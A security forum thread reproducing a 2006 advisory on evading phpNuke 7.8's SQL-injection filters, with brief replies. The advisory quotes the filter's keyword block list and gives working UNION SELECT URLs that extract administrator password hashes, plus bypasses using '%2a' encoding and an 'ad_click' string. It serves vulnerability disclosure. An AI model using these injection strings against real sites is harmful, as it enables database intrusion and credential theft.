Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 17, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 340
Members: 0
Total: 340
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpNuke -> [waraxe-2006-SA#047] - Evading sql-injection filters in 7.8
Post new topic  Reply to topic View previous topic :: View next topic 
[waraxe-2006-SA#047] - Evading sql-injection filters in 7.8
PostPosted: Sat Feb 25, 2006 4:35 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




{================================================================================}
{ [waraxe-2006-SA#047] }
{================================================================================}
{ }
{ [ Evading sql-injection filters in phpNuke 7.8 ] }
{ }
{================================================================================}

Author: Janek Vind "waraxe"
Date: 25. February 2006
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-47.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke 7.8

Homepage: http://phpnuke.org/


What is phpNuke ?

PHP-Nuke is a news automated system specially designed to be used in Intranets and
Internet. The Administrator has total control of his web site, registered users, and
he will have in the hand a powerful assembly of tools to maintain an active and 100%
interactive web site using databases.


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke is known to be exploitable by many sql injection variations. This is due to
very poor coding quality and no-security-in-mind-at-all programming style.
And instead of rewriting phpNuke from scratch, there are many filters, patches, code
improvements and so on, directed to "curing" specific security holes. This particular
advisory will address weaknesses in anti-sql-injection filters, used in phpNuke 7.8
version.


Details
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

So, what can we see in "mainfile.php", line ~20:

----------------[ from source code ]------------------

//Union Tap
//Copyright Zhen-Xjell 2004 http://nukecops.com
//Beta 3 Code to prevent UNION SQL Injections
unset($matches);
unset($loc);
if (preg_match("/([OdWo5NIbpuU4V2iJT0n]{5}) /",
rawurldecode($loc=$_SERVER["QUERY_STRING"]), $matches)) {
die();
}

$queryString = strtolower($_SERVER['QUERY_STRING']);
if (stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'/*')
OR stripos_clone($queryString,'*/union/*') OR stripos_clone($queryString,'c2nyaxb0')) {
header("Location: index.php");
die();
}
----------------[ /from source code ]-----------------

Two different filters can be spotted, one of them will stop script execution, second
one redirects to index page.
So let's start with experimenting part.

Test #1:

http://localhost/nuke78/?kala=p0hh%20UNION%20ALL%20SELECT%201,2,3,4,5%20FROM%20nuke_authors/*

... and we get caught by first filter (because we get only blank page).


Ok, let' modify our attack string.

Test #2:

http://localhost/nuke78/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuke_authors/*

... And second filter is about kicking our a$$ (we got redirected to index).


Hmmm, how about this one ...

Test #3":

http://localhost/nuke78/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuke_authors/%2a


Yeah - we got through :)


And now let's be honest against nuke patches releasers and let's try this working
string against PATCHED phpNuke 7.8.

Details:

patch file - "78patched3dot2.zip"
version 3.2
Download URL - http://www.nukeresources.com/downloadview-details-1037-Nuke_7.8_Patched.html

Test#4:

http://localhost/nuke78p/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuke_authors/%2a


and WE GET CAUGHT with message "Illegal Operation" ...

Oh my ...

What we can see in patched "mainfile.php":

----------------[ from source code ]------------------

// Additional security (Union, CLike, XSS)
if(!file_exists('includes/nukesentinel.php')) {
//Union Tap
//Copyright Zhen-Xjell 2004 http://nukecops.com
//Beta 3 Code to prevent UNION SQL Injections
unset($matches);
unset($loc);
if(isset($_SERVER['QUERY_STRING'])) {
if (preg_match("/([OdWo5NIbpuU4V2iJT0n]{5}) /",
rawurldecode($loc=$_SERVER['QUERY_STRING']), $matches)) {
die('Illegal Operation');
}
}
if((!is_admin($admin)) AND (isset($_SERVER['QUERY_STRING']))
AND (!stristr($_SERVER['QUERY_STRING'], "ad_click"))) {
$queryString = $_SERVER['QUERY_STRING'];
if ((stristr($queryString,'%20union%20')) OR (stristr($queryString,'/*'))
OR (stristr($queryString,'*/union/*')) OR (stristr($queryString,'c2nyaxb0')) OR
(stristr($queryString,'+union+')) OR (stristr($queryString,'http://')) OR
((stristr($queryString,'cmd=')) AND (!stristr($queryString,'&cmd'))) OR
((stristr($queryString,'exec')) AND (!stristr($queryString,'execu'))) OR
(stristr($queryString,'concat'))) {
die('Illegal Operation');
}
}
}----------------[ /from source code ]-----------------

This code seems very restrictive, but ... wait a minute ...

"AND (!stristr($_SERVER['QUERY_STRING'], "ad_click"))) {" - what is this ??????

This is code snippet for DEACTIVATING anti-sql-injection filter in case of
specific events. Yeah, this little code fragment renders all the filter absolutely
useless:

Test #5:

http://localhost/nuke78p/?kala=p0hh+UNION+ALL+SELECT+1,2,3,4,5+FROM+ppp/%2aad_click


.. and patched phpNuke 7.8 will let through our testing sql injection string!!



Greets to all who know me and have a nice day ;)



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Be creative and try to improve that filter by yourself :)


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and
all other active members from waraxe forum !

Raido Kerna - tervitused!


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DX expeditions database - http://www.dxdb.com/

HDD data recovery - http://www.hdd911.com/



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------


Last edited by waraxe on Fri Apr 13, 2007 4:22 pm; edited 1 time in total
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Feb 26, 2006 1:05 am Reply with quote
Heintz
Valuable expert
Valuable expert
 
Joined: Jun 12, 2004
Posts: 88
Location: Estonia/Sweden




i now start to see the nessesarity of rewrite of nuke source. i took a look at nuke source too and some patches seem to be directly for exploit urls.
what i mean is like fictional (not found in nuke source) example somebody finds exploit in "include.php?file=/etc/passwd"
patch written for is "if($file == '/etc/passwd') die('go away');"
this is redicilouse. this doesnt fix the flaw - it only prevents exploit from being used. and this is pretty much as i see the nuke source built up, sad.

and i think the nuke would waste less resources on servers too if it wasnt full of such hacks.

anyway the filter find is good, got to have sharp eye sight to see flaw from such code Wink

_________________
AT 14:00 /EVERY:1 DHTTP /oindex.php www.waraxe.us:80 | FIND "SA#037" 1>Nul 2>&1 & IF ERRORLEVEL 0 "c:program filesApache.exe stop & DSAY alarmaaa!"
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Sun Feb 26, 2006 2:13 am Reply with quote
shai-tan
Valuable expert
Valuable expert
 
Joined: Feb 22, 2005
Posts: 477




Yeah phpnuke it seems has gone down hill so far in recent weeks.

Good job Waraxe anymore of that and perhaps they will look at a rewrite for 8.0

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
could someone please post a fix for this vulnerability?
PostPosted: Sun Feb 26, 2006 6:55 am Reply with quote
wcutiew
Beginner
Beginner
 
Joined: Feb 26, 2006
Posts: 1




I am completely new to coding and would appreciate someone telling me what and where I need to fix. Mucho Thanks in advance!!
View user's profile Send private message
[waraxe-2006-SA#047] - Evading sql-injection filters in 7.8
  www.waraxe.us Forum Index -> PhpNuke
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.144 Seconds